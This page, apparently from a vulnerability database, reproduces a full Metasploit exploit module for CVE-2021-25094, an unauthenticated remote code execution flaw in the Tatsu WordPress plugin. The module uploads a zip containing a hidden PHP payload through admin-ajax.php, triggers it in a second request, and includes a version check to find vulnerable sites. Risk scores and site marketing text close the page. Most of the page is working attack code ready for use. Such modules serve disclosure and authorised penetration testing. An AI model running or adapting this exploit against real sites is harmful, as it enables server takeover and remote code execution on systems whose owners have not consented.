Lucene search
K

Tatsu Wordpress Plugin RCE

🗓️ 29 Jun 2025 18:53:39Reported by Vincent Michel, msutovsky-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 565 Views

This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin use exploit/multi/http/wp_tatsu_rce msf exploit(wp_tatsu_rce) > show targets ...targets... msf exploit(wp_tatsu_rce) > set TARGET ...

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tatsu Wordpress Plugin RCE',
        'Description' => %q{
          This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.
        },
        'Author' => [
          'Vincent Michel', # Vulnerability discovery
          'msutovsky-r7' # Metasploit module
        ],
        'References' => [
          ['CVE', '2021-25094'],
          ['EDB', '52260']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-04-25',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
  end

  def create_zip
    zip_file = Rex::Zip::Archive.new
    @payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php'
    zip_file.add_file(@payload_file, payload.encoded)
    zip_file.pack
  end

  def upload_malicious_zip
    zip_payload = create_zip

    boundary = Rex::Text.rand_text_alphanumeric(32).to_s

    data_post = "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
    data_post << "add_custom_font\r\n"
    data_post << "--#{boundary}\r\n"

    data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n"
    data_post << "#{zip_payload}\r\n"
    data_post << "--#{boundary}--\r\n"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('wp-admin/admin-ajax.php'),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data_post
    })

    fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200
    json_content = res.get_json_document

    fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success'

    @zip_name = json_content.fetch('name', nil)

    fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name
  end

  def trigger_payload
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file)
    })
  end

  def check
    return CheckCode::Unknown('Target not responding') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("Detected WordPress version: #{wp_version}") if wp_version

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md')
    })

    return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200

    changelog_body = res.body

    return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank?

    return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)

    version = Rex::Version.new(Regexp.last_match(1))

    return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11')

    return CheckCode::Safe('Patched version detected')
  end

  def exploit
    upload_malicious_zip
    trigger_payload
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jun 2026 19:05Current
7.8High risk
Vulners AI Score7.8
CVSS 26.8
CVSS 3.18.1
EPSS0.83535
565